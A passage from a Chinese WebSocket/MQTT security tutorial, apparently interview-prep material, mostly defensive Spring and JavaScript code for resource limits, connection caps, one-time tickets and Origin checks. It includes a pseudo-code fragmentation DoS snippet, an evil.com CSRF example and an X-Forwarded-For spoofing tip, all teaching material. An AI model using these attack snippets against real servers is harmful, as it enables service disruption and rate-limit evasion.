越权 = 这条连接不该收到这条消息 越权 = 这个设备不该订阅这个 Topic
防御 = 每个订阅都要鉴权 防御 = ACL(访问控制列表)
关键差别:WebSocket 是“我给你发消息”,MQTT 是“我往一个频道发消息,谁在听谁收到”。 所以 MQTT 的安全重心不在“消息本身”,而在**“谁能订阅哪个频道”**。
5.1.2 传统安全设备在长连接面前的失明
为什么 WAF 看不见 WebSocket 里的内容:
1. 浏览器发 HTTP 请求:GET /ws Upgrade: websocket
↓ WAF 看得懂,检查 URL、Header、Cookie → 放行
2. 服务端回 101 Switching Protocols
↓ WAF 也看得懂(这是 HTTP 状态码)
3. 【此后】连接变成 WebSocket 协议,数据以"帧"传输
↓ WAF 看不懂了 —— 它期待下一个 HTTP 请求,
但收到的是二进制帧。多数 WAF 直接透传或断开
实测结论(对主流 WAF / 云网关):
| 设备类型 | 对 WebSocket 帧内容 | 说明 |
|---|---|---|
| 传统 WAF(ModSecurity 等) | ❌ 不检测 | 只认 HTTP 语义 |
| 部分云原生网关 | ⚠️ 仅检测握手 | 握手 URL/Header 能查,消息体不查 |
| 专业 API 网关(Kong/APISIX) | ⚠️ 需显式开启 | 默认不解析帧 |
| L7 负载均衡(NGINX) | ❌ 不检测 | 只做转发和超时 |
| 自研业务代码 | ✅ 唯一可靠的地方 | 必须在应用内做鉴权和限流 |
给面试的诚实答案: “WAF 拦不住 WebSocket 里的攻击载荷,因为握手之后协议就变了,WAF 的 HTTP 解析器失效。 所以 WebSocket 的安全必须在应用层做:握手期鉴权、每条消息鉴权、消息级限流、消息大小限制。”
为什么按“请求数”限流会失效:
传统 HTTP:攻击者刷 1 万次接口 → 1 万个 HTTP 请求 → 限流规则"每分钟 100 请求"拦截
WebSocket:攻击者建 1 条连接(算 1 个请求)→ 在这条连接里发 1 万条消息
→ 限流规则"每分钟 100 请求"完全没反应,因为只有 1 个请求
所以限流维度必须从“请求数”改成“消息数”:
| 维度 | 传统 HTTP | 长连接 |
|---|---|---|
| 限流单位 | 请求数(Request) | 消息数(Message)+ 字节数(Bytes) |
| 限流位置 | 网关 / Nginx | 应用内(网关看不到消息) |
| 连接数限制 | 不太需要(短连接) | 必须(1 个 IP 建 1 万条连接) |
| 单条大小 | body 大小 | 帧大小 + 分片累计大小 |
| 空闲超时 | 无 | 必须(慢速攻击占着连接不发) |
5.1.3 长连接的攻击面总览
┌─────────────── 长连接攻击面 ───────────────┐
│ │
① 握手期 │ 认证缺失 Origin 未校验 协议降级 │
(连的时候) │ 凭据在 URL CSWSH Upgrade 绕过 │
│ │
② 消息期 │ 消息注入 越权订阅 未授权推送 │
(连上之后) │ XSS 载荷 JSON 解析漏洞 二进制帧溢出 │
│ │
③ 资源期 │ 连接耗尽 消息洪水 分片炸弹 │
(耗资源) │ 慢速攻击 大消息撑爆内存 句柄泄漏 │
│ │
④ 协议自身 │ MQTT # 订阅 CoAP 放大反射 Modbus 无认证 │
(协议设计缺陷) │ TURN 白嫖 STUN 内网泄露 降级攻击 │
│ │
└────────────────────────────────────────────┘
5.2 WebSocket 安全(完整攻防)
3.8 节讲过 CSWSH(跨站 WebSocket 劫持),那是 WebSocket 最经典的漏洞。 这一节补全剩下 80% 的攻击面。
5.2.1 握手过程与协议细节(看懂才知道哪里能动手)
白话:WebSocket 不是凭空冒出来的协议。它先假装自己是 HTTP,跟服务器说“我想升级成 WebSocket”,服务器同意了(返回 101),这条连接就变成 WebSocket 了。之后传的数据不再是 HTTP 报文,而是“帧”。
完整握手过程:
# ===== 客户端请求(还是标准 HTTP)=====
GET /chat HTTP/1.1
Host: api.example.com
Upgrade: websocket # 我要升级协议
Connection: Upgrade # 配合上一行
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== # 随机 base64,防缓存投毒
Sec-WebSocket-Version: 13 # 协议版本
Origin: https://www.example.com # ★ 从哪个页面发起的(CSWSH 的关键)
Sec-WebSocket-Protocol: chat, superchat # 子协议协商
Cookie: sessionid=abc123 # ★ 浏览器自动带上(CSWSH 的根源)
Authorization: Bearer eyJhbGci... # 可选,但浏览器 API 不能设这个头
# ===== 服务端响应 =====
HTTP/1.1 101 Switching Protocols # 101 = 我同意换协议
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= # Key + 固定 GUID 做 SHA1 + base64
Sec-WebSocket-Protocol: chat # 选定子协议
Sec-WebSocket-Accept 是怎么算的(面试常问,也是防缓存投毒的关键):
/**
* Sec-WebSocket-Accept 计算
*
* 公式:base64(SHA1(客户端 Key + 魔法字符串))
* 魔法字符串(RFC 6455 规定,固定值):
* 258EAFA5-E914-47DA-95CA-C5AB0DC85B11
*
* 为什么需要这一步?
* 防止"缓存投毒":如果服务器无脑返回 101,那么一个恶意的
* HTTP 请求可能被中间的缓存服务器(CDN / 代理)缓存成
* "这个 URL 返回的是 WebSocket 响应",导致其他用户拿到错误内容。
* 有了这个计算,缓存服务器一看响应内容和请求对不上,就不会缓存。
*
* 生活类比:
* 你去银行柜台说"我要办业务",柜员不直接办,而是说
* "请你报一下刚才我给你的那个号码 + 我们的暗号组合后的结果"。
* 你答对了,说明你真的是刚才那个人,不是别人伪造的请求。
*/
public class WebSocketHandshakeUtil {
private static final String MAGIC_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
public static String computeAccept(String clientKey) {
String combined = clientKey.trim() + MAGIC_GUID;
try {
MessageDigest sha1 = MessageDigest.getInstance("SHA-1");
byte[] hash = sha1.digest(combined.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(hash);
} catch (NoSuchAlgorithmException e) {
throw new IllegalStateException("SHA-1 不可用", e);
}
}
public static void main(String[] args) {
// RFC 6455 官方示例,可用于自测
String key = "dGhlIHNhbXBsZSBub25jZQ==";
String accept = computeAccept(key);
System.out.println(accept);
// 输出:s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
// 和 RFC 文档一致,说明实现正确
}
}
⚠️ 注意:这个机制只防缓存投毒,不防任何真实攻击。 攻击者用任何 WebSocket 库都会自动算对,它完全不是认证机制。 很多初学者误以为“有 Key/Accept 校验所以安全”——错,它和安全无关。
5.2.2 帧结构与分片(DoS 攻击的温床)
帧结构(简化版,理解要点即可):
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (如果 len=126 用 16 位, |
| |1|2|3| |K| | len=127 用 64 位) |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| 扩展长度(可选) | 掩码密钥(4 字节,客户端→服务端必须有)
+-------------------------------+ - - - - - - - - - - - - - - - +
| 掩码密钥(续) | 载荷数据 Payload ...
+-------------------------------- - - - - - - - - - - - - - - - +
必须记住的四个字段:
| 字段 | 白话 | 安全含义 |
|---|---|---|
| FIN | 是不是最后一帧 | 分片攻击:一直发 FIN=0 的帧,服务端要一直缓存,内存撑爆 |
| opcode | 帧类型(1=文本 2=二进制 8=关闭 9=Ping 10=Pong) | 收到 0(续帧)但之前没有起始帧 = 协议错误,要断开 |
| MASK | 客户端→服务端必须为 1 | 服务端必须校验:收到未掩码的帧要断开(防缓存投毒) |
| Payload len | 载荷长度,可扩展到 64 位 | 可声明 2^63 字节!服务端不能预分配内存 |
分片攻击(Frame Fragmentation DoS)原理:
攻击代码(概念示意):
ws.send(frame(FIN=0, opcode=1, payload="A" * 1)) # 第 1 片,不是最后一片
ws.send(frame(FIN=0, opcode=0, payload="A" * 1)) # 第 2 片(续帧)
... 重复 1000 万次 ...
# 永远不发 FIN=1
服务端在干什么?
缓冲区不停累积:1 + 1 + 1 + ... = 10 MB、100 MB、1 GB ...
因为消息"还没结束",不能交给业务处理,只能一直等着
结果:
每个连接占 1GB 内存 → 100 个连接 → 服务器 OOM
防御(Spring 配置,一定要设):
/**
* WebSocket 资源限制配置
*
* 核心思路:所有"可累积"的资源都必须设上限,
* 且上限要在"累积之前"就生效,而不是等撑爆了才发现。
*/
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketResourceConfig implements WebSocketMessageBrokerConfigurer {
/**
* 配置底层 WebSocket 容器
*/
@Bean
public ServletServerContainerFactoryBean createWebSocketContainer() {
ServletServerContainerFactoryBean container = new ServletServerContainerFactoryBean();
// ① 单条消息最大 64KB(业务够用即可,不要贪大)
// ★ 这是最重要的配置,能挡住 99% 的内存型 DoS
container.setMaxTextMessageBufferSize(64 * 1024);
container.setMaxBinaryMessageBufferSize(64 * 1024);
// ② 异步发送超时 10 秒
// 防止慢客户端拖住发送线程(慢速攻击)
container.setAsyncSendTimeout(10_000L);
// ③ 会话空闲超时 5 分钟
// ★ 挡住"建了连接不发消息"的慢速攻击
// 正常情况下客户端会有心跳,5 分钟没动静就踢掉
container.setMaxSessionIdleTimeout(5 * 60 * 1000L);
return container;
}
@Override
public void configureWebSocketTransport(WebSocketTransportRegistration registration) {
// ④ 入站消息最大 64KB
registration.setMessageSizeLimit(64 * 1024);
// ⑤ 发送缓冲区 512KB
// 防止服务端发得快、客户端收得慢,导致内存堆积
registration.setSendBufferSizeLimit(512 * 1024);
// ⑥ 发送时间限制 10 秒
registration.setSendTimeLimit(10 * 1000);
}
@Override
public void configureClientInboundChannel(ChannelRegistration registration) {
// ⑦ 入站通道线程池
// 限制并发处理线程数,避免消息洪水打满线程池
registration.taskExecutor()
.corePoolSize(4)
.maxPoolSize(16) // 不能无限增长
.queueCapacity(1000) // 队列有上限,满了就拒绝
.keepAliveSeconds(60);
// ★ 队列满了之后必须有拒绝策略,否则一样 OOM
}
@Override
public void configureClientOutboundChannel(ChannelRegistration registration) {
registration.taskExecutor()
.corePoolSize(4)
.maxPoolSize(16)
.queueCapacity(1000);
}
}
连接数限制(Tomcat 层面 + 应用层面双保险):
/**
* WebSocket 连接数管理器
*
* 三个维度都要限,缺一不可:
* ① 全局总连接数 —— 保护服务器
* ② 单 IP 连接数 —— 防止一个 IP 建一堆连接
* ③ 单用户连接数 —— 防止一个账号多开刷消息(多设备场景要放宽)
*
* 生活类比:
* 餐厅要限制:全场总人数(消防)、每桌人数(体验)、
* 一个人占几桌(防止黄牛占座)。三个都得限。
*/
@Component
@Slf4j
public class WebSocketConnectionLimiter implements WebSocketHandlerDecoratorFactory {
/** 全局最大连接数 */
private static final int MAX_TOTAL_CONNECTIONS = 50_000;
/** 单 IP 最大连接数 */
private static final int MAX_CONNECTIONS_PER_IP = 50;
/** 单用户最大连接数(允许多设备,但要有限) */
private static final int MAX_CONNECTIONS_PER_USER = 10;
private final AtomicInteger totalConnections = new AtomicInteger(0);
private final ConcurrentHashMap<String, AtomicInteger> perIpCount = new ConcurrentHashMap<>();
private final ConcurrentHashMap<Long, AtomicInteger> perUserCount = new ConcurrentHashMap<>();
@Override
public WebSocketHandler decorate(WebSocketHandler handler) {
return new CountingWebSocketHandler(handler);
}
private class CountingWebSocketHandler implements WebSocketHandler {
private final WebSocketHandler delegate;
private String clientIp;
private Long userId;
CountingWebSocketHandler(WebSocketHandler delegate) {
this.delegate = delegate;
}
@Override
public void afterConnectionEstablished(WebSocketSession session) throws Exception {
this.clientIp = extractClientIp(session);
this.userId = extractUserId(session);
// ---------- ① 全局连接数检查 ----------
if (totalConnections.get() >= MAX_TOTAL_CONNECTIONS) {
log.warn("[WS] 全局连接数已满,拒绝新连接. ip={}, total={}",
clientIp, totalConnections.get());
// 用 1013(服务繁忙)关闭,这是 WebSocket 标准关闭码
session.close(CloseStatus.SERVICE_OVERLOAD);
return;
}
// ---------- ② 单 IP 连接数检查 ----------
AtomicInteger ipCount = perIpCount.computeIfAbsent(clientIp, k -> new AtomicInteger(0));
if (ipCount.get() >= MAX_CONNECTIONS_PER_IP) {
log.warn("[WS] 单 IP 连接数超限. ip={}, count={}", clientIp, ipCount.get());
session.close(CloseStatus.SERVICE_OVERLOAD);
return;
}
// ---------- ③ 单用户连接数检查(限流但不拒绝,踢最老的)----------
if (userId != null) {
AtomicInteger userCount =
perUserCount.computeIfAbsent(userId, k -> new AtomicInteger(0));
if (userCount.get() >= MAX_CONNECTIONS_PER_USER) {
log.warn("[WS] 单用户连接数超限,踢掉最老的连接. userId={}", userId);
evictOldestSession(userId);
}
userCount.incrementAndGet();
}
// ---------- 全部通过,计数 ----------
totalConnections.incrementAndGet();
ipCount.incrementAndGet();
try {
delegate.afterConnectionEstablished(session);
} catch (Exception e) {
// 建立失败要回收计数,否则计数泄漏
release();
throw e;
}
}
@Override
public void afterConnectionClosed(WebSocketSession session, CloseStatus status) {
try {
delegate.afterConnectionClosed(session, status);
} finally {
// ★ finally 里释放,保证异常时也不会泄漏
release();
}
}
/**
* 释放计数
*/
private void release() {
totalConnections.decrementAndGet();
if (clientIp != null) {
perIpCount.computeIfPresent(clientIp, (k, v) -> {
int remaining = v.decrementAndGet();
return remaining <= 0 ? null : v; // 归零则移除,防内存泄漏
});
}
if (userId != null) {
perUserCount.computeIfPresent(userId, (k, v) -> {
int remaining = v.decrementAndGet();
return remaining <= 0 ? null : v;
});
}
}
/**
* 踢掉该用户最老的连接
*/
private void evictOldestSession(Long userId) {
// 实际实现需要维护 userId -> 会话列表 的映射
// 这里给出结构:找到该用户最早建立的会话,close 掉
SessionRegistry registry = SessionRegistryHolder.get();
registry.findOldestSession(userId)
.ifPresent(session -> {
try {
session.close(CloseStatus.NORMAL.withReason("其他地方登录"));
} catch (IOException ignored) {
}
});
}
@Override
public void handleMessage(WebSocketSession session, WebSocketMessage<?> message) {
delegate.handleMessage(session, message);
}
@Override
public void handleTransportError(WebSocketSession session, Throwable exception) {
delegate.handleTransportError(session, exception);
}
@Override
public boolean supportsPartialMessages() {
// ★ 强烈建议返回 false:不支持分片消息
// 这样容器会在收完整条消息后才调 handleMessage,
// 直接消灭分片攻击(累积内存撑爆)
return false;
}
}
/**
* 提取客户端真实 IP
*
* ★ 坑点:如果有 Nginx 反代,getRemoteAddress() 拿到的是 Nginx 的 IP。
* 必须从 X-Forwarded-For / X-Real-IP 取,且要防止伪造。
*/
private String extractClientIp(WebSocketSession session) {
// 握手时的 HTTP 头会保留在 session 的 attributes 里
String xff = (String) session.getAttributes().get("HTTP.X-Forwarded-For");
if (xff != null && !xff.isBlank()) {
// XFF 格式:client, proxy1, proxy2 —— 第一个才是真实客户端
return xff.split(",")[0].trim();
}
String realIp = (String) session.getAttributes().get("HTTP.X-Real-IP");
if (realIp != null && !realIp.isBlank()) {
return realIp.trim();
}
if (session.getRemoteAddress() != null) {
return session.getRemoteAddress().getAddress().getHostAddress();
}
return "unknown";
}
private Long extractUserId(WebSocketSession session) {
Principal principal = session.getPrincipal();
if (principal instanceof AuthenticatedUser user) {
return user.getUserId();
}
return null;
}
}
⚠️ X-Forwarded-For 伪造问题: 如果 WebSocket 服务直接暴露在公网,攻击者可以自己塞
X-Forwarded-For: 1.2.3.4绕过 IP 限流。 正确做法:只信任来自内网 Nginx 的 XFF,且 Nginx 要覆盖(不是追加)客户端传来的 XFF:proxy_set_header X-Forwarded-For $remote_addr; # 用 $remote_addr 覆盖,不是 $proxy_add_x_forwarded_for或者用
real_ip模块。
5.2.3 认证与授权缺失(最普遍的问题)
WebSocket 认证的三个时机:
① 握手期认证(Handshake Auth)
在 HTTP 握手阶段检查 Cookie / Token
✅ 能拦住非法连接
❌ 只在这一刻检查,之后几小时的消息都默认可信
② 订阅期认证(Subscribe Auth)
每次订阅某个频道时检查权限
✅ 能拦住越权订阅(这是最关键的)
③ 消息期认证(Message Auth)
每条消息都校验发送者身份和内容权限
✅ 最安全
❌ 性能开销大(每条消息都要查权限)
推荐做法:① + ② 必做,③ 视场景选择性做(高敏感操作才做)。
五种认证方式与对比:
| 方式 | 怎么做 | 优点 | 缺点 | 推荐度 |
|---|---|---|---|---|
| Cookie(同域) | 握手时浏览器自动带 | 简单、自动 | 有 CSWSH 风险(必须配 Origin 校验) | ⭐⭐⭐ |
| URL 参数带 Token | ws://api/ws?token=xxx |
浏览器 API 支持 | Token 会进日志/Referer/浏览器历史 | ⭐(不推荐) |
| 子协议带 Token | Sec-WebSocket-Protocol: jwt, eyJ... |
不进 URL | 需要服务端解析第二个值 | ⭐⭐⭐ |
| 握手后立即发认证消息 | 连上后第一条消息是 {"type":"auth","token":"..."} |
灵活、可刷新 Token | 未认证期间要限制可调用的方法 | ⭐⭐⭐⭐ |
| 一次性 ticket | 先 HTTP 换一个短时效 ticket,再用 ticket 连 | Token 不落日志、可防重放 | 多一次请求 | ⭐⭐⭐⭐⭐ |
❌ 反面教材:Token 放 URL(最常见的错误):
// ❌ 错误做法:Token 在 URL 里
const ws = new WebSocket(`wss://api.example.com/ws?token=${userToken}`);
// 会发生什么?
// 1. Nginx access.log 记录完整 URL → Token 进日志
// 2. 如果页面有外链,Referer 头可能带出去
// 3. 浏览器历史记录保存
// 4. 服务端错误日志打印 URL → Token 进异常堆栈
// 5. 中间代理(公司网关)可能记录
// 6. Token 通常长效(几小时),泄露窗口大
✅ 正确做法:一次性 ticket(推荐):
/**
* WebSocket 一次性 Ticket 服务
*
* 流程:
* 1. 前端先用普通 HTTPS 请求换取 ticket(携带正常 Token)
* 2. ticket 有效期 60 秒,只能用一次
* 3. 前端用 ticket 连 WebSocket:wss://api/ws?ticket=xxx
* 4. 服务端校验 ticket 并立即删除(原子操作)
*
* 为什么这样安全?
* - Token 永远不出现在 WebSocket URL 里
* - ticket 60 秒过期,即使被日志记录也很快失效
* - ticket 只能用一次,被重放立即失败
* - 可以绑定客户端 IP / UA,进一步收窄
*
* 生活类比:
* Token 是你的身份证(丢了麻烦),
* ticket 是电影院的取票码(只能用一次,过期作废,丢了也就一场电影)。
*/
@Service
@Slf4j
public class WebSocketTicketService {
private static final String TICKET_PREFIX = "ws:ticket:";
private static final Duration TICKET_TTL = Duration.ofSeconds(60);
@Autowired
private StringRedisTemplate redis;
/**
* 步骤 1:换取 ticket
*/
public String issueTicket(Long userId, String clientIp, String userAgent) {
// ① 生成高强度随机 ticket
String ticket = Base64.getUrlEncoder().withoutPadding()
.encodeToString(SecureRandom.getInstanceStrong().generateSeed(32));
// ② 绑定用户、IP、UA(防止 ticket 被换一台机器用)
TicketInfo info = new TicketInfo(userId, clientIp, hashUA(userAgent),
System.currentTimeMillis());
String key = TICKET_PREFIX + ticket;
redis.opsForValue().set(key, JsonUtil.toJson(info), TICKET_TTL);
// ③ 限制单个用户的 ticket 申请频率(防止刷 ticket 打满 Redis)
String rateKey = "ws:ticket:rate:" + userId;
Long count = redis.opsForValue().increment(rateKey);
if (count == 1) {
redis.expire(rateKey, Duration.ofMinutes(1));
}
if (count > 10) {
throw new BizException("申请过于频繁,请稍后再试");
}
log.info("[WS-Ticket] 签发 ticket. userId={}, ip={}, ttl=60s", userId, clientIp);
return ticket;
}
/**
* 步骤 2:校验并消费 ticket
*
* ★ 关键:GET + DELETE 必须原子(Lua 脚本),
* 否则并发下同一个 ticket 可能被用两次。
*/
public Long consumeTicket(String ticket, String clientIp, String userAgent) {
if (ticket == null || ticket.isBlank() || ticket.length() > 128) {
return null;
}
String key = TICKET_PREFIX + ticket;
// Lua 脚本:原子地 取出 + 删除
String luaScript = """
local value = redis.call('GET', KEYS[1])
if not value then
return nil
end
redis.call('DEL', KEYS[1])
return value
""";
DefaultRedisScript<String> script = new DefaultRedisScript<>(luaScript, String.class);
String json = redis.execute(script, Collections.singletonList(key));
if (json == null) {
log.warn("[WS-Ticket] ticket 无效或已被使用(可能是重放攻击). ip={}", clientIp);
// ★ 这里要告警:正常用户不会命中,命中说明有人在扫描
alertService.sendSecurityAlert("WS_TICKET_REPLAY",
"检测到 WebSocket ticket 重放", Map.of("ip", clientIp));
return null;
}
TicketInfo info = JsonUtil.fromJson(json, TicketInfo.class);
// ③ 校验 IP(可选:NAT 环境下多用户可能同 IP,按业务决定)
if (!clientIp.equals(info.clientIp())) {
log.warn("[WS-Ticket] ticket 的 IP 不匹配. expect={}, actual={}",
info.clientIp(), clientIp);
return null;
}
// ④ 校验 UA(防止 ticket 被复制到别的客户端)
if (!hashUA(userAgent).equals(info.uaHash())) {
log.warn("[WS-Ticket] ticket 的 UA 不匹配. userId={}", info.userId());
return null;
}
// ⑤ 校验时间(Redis TTL 已经保证了,这里是双保险)
if (System.currentTimeMillis() - info.issuedAt() > TICKET_TTL.toMillis()) {
return null;
}
return info.userId();
}
private String hashUA(String userAgent) {
if (userAgent == null) return "unknown";
return DigestUtils.sha256Hex(userAgent).substring(0, 16);
}
record TicketInfo(Long userId, String clientIp, String uaHash, long issuedAt) {}
}
前端配合:
/**
* WebSocket 客户端:ticket 模式
*
* 关键点:
* 1. 先 HTTPS 换 ticket,再连 WS(Token 不出现在 URL)
* 2. ticket 用完即弃,重连要重新申请
* 3. 断线重连要退避,不能疯狂重试(打爆服务端)
*/
class SecureWebSocketClient {
constructor(baseUrl) {
this.baseUrl = baseUrl;
this.ws = null;
this.retryCount = 0;
this.maxRetry = 5;
this.messageHandlers = new Map();
this.closedByUser = false;
}
async connect() {
// ① 先换 ticket(走普通 HTTPS,带正常 Token)
const resp = await fetch(`${this.baseUrl}/api/ws/ticket`, {
method: 'POST',
credentials: 'include', // 带 Cookie
headers: { 'Content-Type': 'application/json' }
});
if (!resp.ok) {
throw new Error('获取 ticket 失败,请重新登录');
}
const { ticket } = await resp.json();
// ② 用 ticket 连接(注意:URL 里只有 ticket,没有 Token)
return new Promise((resolve, reject) => {
const wsUrl = `${this.baseUrl.replace(/^http/, 'ws')}/ws?ticket=${encodeURIComponent(ticket)}`;
this.ws = new WebSocket(wsUrl);
// ③ 连接超时保护(WebSocket API 没有超时参数,要自己做)
const timeout = setTimeout(() => {
if (this.ws.readyState !== WebSocket.OPEN) {
this.ws.close();
reject(new Error('连接超时'));
}
}, 10000);
this.ws.onopen = () => {
clearTimeout(timeout);
this.retryCount = 0; // 连接成功,重置重试计数
console.log('[WS] 已连接');
this.startHeartbeat();
resolve();
};
this.ws.onmessage = (event) => {
this.handleMessage(event.data);
};
this.ws.onerror = (error) => {
clearTimeout(timeout);
console.error('[WS] 错误', error);
reject(error);
};
this.ws.onclose = (event) => {
clearTimeout(timeout);
this.stopHeartbeat();
console.log(`[WS] 已关闭. code=${event.code}, reason=${event.reason}`);
// ④ 异常断开才重连(用户主动关闭不重连)
if (!this.closedByUser && event.code !== 1000) {
this.scheduleReconnect();
}
// ⑤ 特殊关闭码处理
if (event.code === 4001) {
// 自定义:认证失效,跳登录
window.location.href = '/login?reason=ws_auth_expired';
} else if (event.code === 1013) {
// 服务过载,延长重连间隔
this.retryCount += 3;
}
};
});
}
/**
* 指数退避重连
*
* 为什么必须退避?
* 如果服务端挂了,1 万个客户端同时每秒重连一次
* = 每秒 1 万次连接请求 = 服务端刚起来又被打死(惊群)
*/
scheduleReconnect() {
if (this.retryCount >= this.maxRetry) {
console.error('[WS] 重连次数超限,停止重连');
return;
}
this.retryCount++;
// 指数退避 + 随机抖动:1s, 2s, 4s, 8s, 16s(±30% 抖动)
const baseDelay = Math.min(1000 * Math.pow(2, this.retryCount - 1), 30000);
const jitter = baseDelay * 0.3 * (Math.random() * 2 - 1);
const delay = baseDelay + jitter;
console.log(`[WS] ${Math.round(delay)}ms 后重连(第 ${this.retryCount} 次)`);
setTimeout(() => this.connect().catch(() => {}), delay);
}
/**
* 心跳保活
*
* 为什么要心跳?
* ① 保活:中间的 NAT / 防火墙会清理长时间无流量的连接(通常 60s~5min)
* ② 检测死连接:客户端断电时不会发 FIN,服务端要等 TCP 超时才知道
* ③ 触发服务端空闲超时重置
*/
startHeartbeat() {
// 应用级心跳(发 Ping 帧)
this.heartbeatTimer = setInterval(() => {
if (this.ws && this.ws.readyState === WebSocket.OPEN) {
// 方式一:发业务心跳消息(更可控)
this.send({ type: 'ping', timestamp: Date.now() });
// 方式二:浏览器 API 不直接支持发 Ping 帧,
// 所以通常用业务消息模拟
}
}, 30000); // 30 秒一次
// 死连接检测:如果 90 秒没收到任何消息(包括 pong),认为连接已死
this.lastMessageTime = Date.now();
this.deadCheckTimer = setInterval(() => {
if (Date.now() - this.lastMessageTime > 90000) {
console.warn('[WS] 90 秒未收到任何消息,判定为死连接,主动重连');
this.ws.close();
this.scheduleReconnect();
}
}, 10000);
}
stopHeartbeat() {
clearInterval(this.heartbeatTimer);
clearInterval(this.deadCheckTimer);
}
handleMessage(rawData) {
this.lastMessageTime = Date.now();
// ★ 安全处理:解析 JSON 必须 try-catch
let msg;
try {
msg = JSON.parse(rawData);
} catch (e) {
console.error('[WS] 收到非法 JSON', rawData);
return;
}
// 心跳响应单独处理
if (msg.type === 'pong') {
return;
}
const handler = this.messageHandlers.get(msg.type);
if (handler) {
handler(msg.data);
} else {
console.warn('[WS] 未知消息类型', msg.type);
}
}
send(obj) {
if (this.ws && this.ws.readyState === WebSocket.OPEN) {
this.ws.send(JSON.stringify(obj));
} else {
console.warn('[WS] 未连接,消息丢弃', obj);
}
}
on(type, handler) {
this.messageHandlers.set(type, handler);
}
close() {
this.closedByUser = true;
if (this.ws) {
this.ws.close(1000, '客户端主动关闭');
}
}
}
5.2.4 CSWSH 跨站 WebSocket 劫持(回顾 + 补强)
3.8 节已详细讲过,这里补充几个当时没展开的点。
为什么 WebSocket 不受同源策略保护:
同源策略(SOP)保护什么?
保护"读取响应"——evil.com 的 JS 不能读取 bank.com 的响应内容
同源策略不保护什么?
不保护"发起请求"——evil.com 可以:
- 用 <img src="bank.com/transfer?to=evil"> 发起 GET(CSRF 的老套路)
- 用 WebSocket 连到 bank.com(带 Cookie!)
- 用 fetch 发 POST(会被 CORS 拦,但请求已经发出去了)
关键差别:
fetch/XHR:有 CORS 预检,服务端说"不允许"浏览器就不给结果
WebSocket:★ 没有 CORS 预检机制 ★
浏览器直接连,带 Cookie,服务端如果不校验 Origin,
连接直接建立,攻击者能读到所有推送内容
为什么不能像 fetch 那样加自定义头:
// ❌ 这是不可能的,浏览器 API 根本不支持
const ws = new WebSocket('wss://bank.com/ws', {
headers: { 'Authorization': 'Bearer xxx' } // ← 这个参数不存在!
});
// WebSocket 构造函数签名(MDN 官方):
// new WebSocket(url)
// new WebSocket(url, protocols) ← 第二个参数只能是"子协议列表"
//
// 所以:
// ❌ 不能设自定义请求头
// ❌ 不能设 withCredentials(WebSocket 默认就带 Cookie,关不掉)
// ✅ 只能靠 Cookie 或 URL 参数或子协议
Origin 校验的正确实现(3.8 给过,这里给加强版):
/**
* 加强版 Origin 校验拦截器
*
* 相比基础版增加了:
* ① 支持负载均衡后的多域名
* ② 支持内网 IP 白名单(健康检查、内部服务)
* ③ 严格的 scheme + host + port 三部分比对(不用 contains)
* ④ 校验失败记审计日志(能发现攻击尝试)
* ⑤ 支持开发环境豁免(但生产环境强制)
*/
@Component
@Slf4j
public class StrictOriginCheckInterceptor implements HandshakeInterceptor {
/**
* 允许的 Origin 完整列表(必须是完整的 scheme://host[:port])
* ★ 从配置读取,不要硬编码
*/
@Value("${ws.allowed-origins}")
private List<String> allowedOrigins;
/** 是否允许 Origin 缺失(非浏览器客户端可能不带) */
@Value("${ws.allow-missing-origin:false}")
private boolean allowMissingOrigin;
/** 内网 IP 段(K8s Pod / 健康检查) */
@Value("${ws.internal-ip-ranges:10.,172.16.,192.168.,127.0.0.1}")
private List<String> internalIpRanges;
@Autowired
private AuditLogService auditLogService;
private Set<OriginInfo> parsedOrigins;
@PostConstruct
public void init() {
// 预解析,避免每次握手都解析字符串
this.parsedOrigins = allowedOrigins.stream()
.map(OriginInfo::parse)
.filter(Objects::nonNull)
.collect(Collectors.toSet());
log.info("[WS] 已加载允许的 Origin: {}", parsedOrigins);
}
@Override
public boolean beforeHandshake(ServerHttpRequest request,
ServerHttpResponse response,
WebSocketHandler wsHandler,
Map<String, Object> attributes) throws Exception {
String origin = request.getHeaders().getFirst("Origin");
String clientIp = extractClientIp(request);
String userAgent = request.getHeaders().getFirst("User-Agent");
// ===== 情况 1:没有 Origin 头 =====
// 谁会不带 Origin?
// - 非浏览器的 WebSocket 客户端(Python/Java/Go 库)
// - 老版本浏览器
// - 攻击者用脚本连接(故意不带,试图绕过)
//
// 怎么办?
// 生产环境:默认是拒绝的(allowMissingOrigin=false)
// 如果业务确实有非浏览器客户端,应该让它们走另一套认证
// (比如 mTLS 或 API Key),而不是放开 Origin 校验
if (origin == null || origin.isBlank()) {
if (allowMissingOrigin) {
log.debug("[WS] 允许缺失 Origin(配置允许). ip={}", clientIp);
return true;
}
log.warn("[WS] 拒绝:缺少 Origin 头. ip={}, ua={}", clientIp, userAgent);
response.setStatusCode(HttpStatus.FORBIDDEN);
auditLogService.logSecurityEvent("WS_MISSING_ORIGIN",
"WebSocket 握手缺少 Origin", clientIp, userAgent);
return false;
}
// ===== 情况 2:有 Origin,逐个校验 =====
OriginInfo originInfo = OriginInfo.parse(origin);
if (originInfo == null) {
log.warn("[WS] 拒绝:Origin 格式非法. origin={}, ip={}", origin, clientIp);
response.setStatusCode(HttpStatus.FORBIDDEN);
return false;
}
// 2.1 是否在白名单里(严格三部分比对)
for (OriginInfo allowed : parsedOrigins) {
if (allowed.matches(originInfo)) {
log.debug("[WS] Origin 校验通过. origin={}", origin);
return true;
}
}
// 2.2 是否来自内网(需要同时验证客户端 IP 也是内网,防伪造 Origin + 外网访问)
if (isInternalIp(clientIp) && isInternalOrigin(originInfo)) {
log.debug("[WS] 内网来源放行. origin={}, ip={}", origin, clientIp);
return true;
}
// ===== 情况 3:都不匹配,拒绝 =====
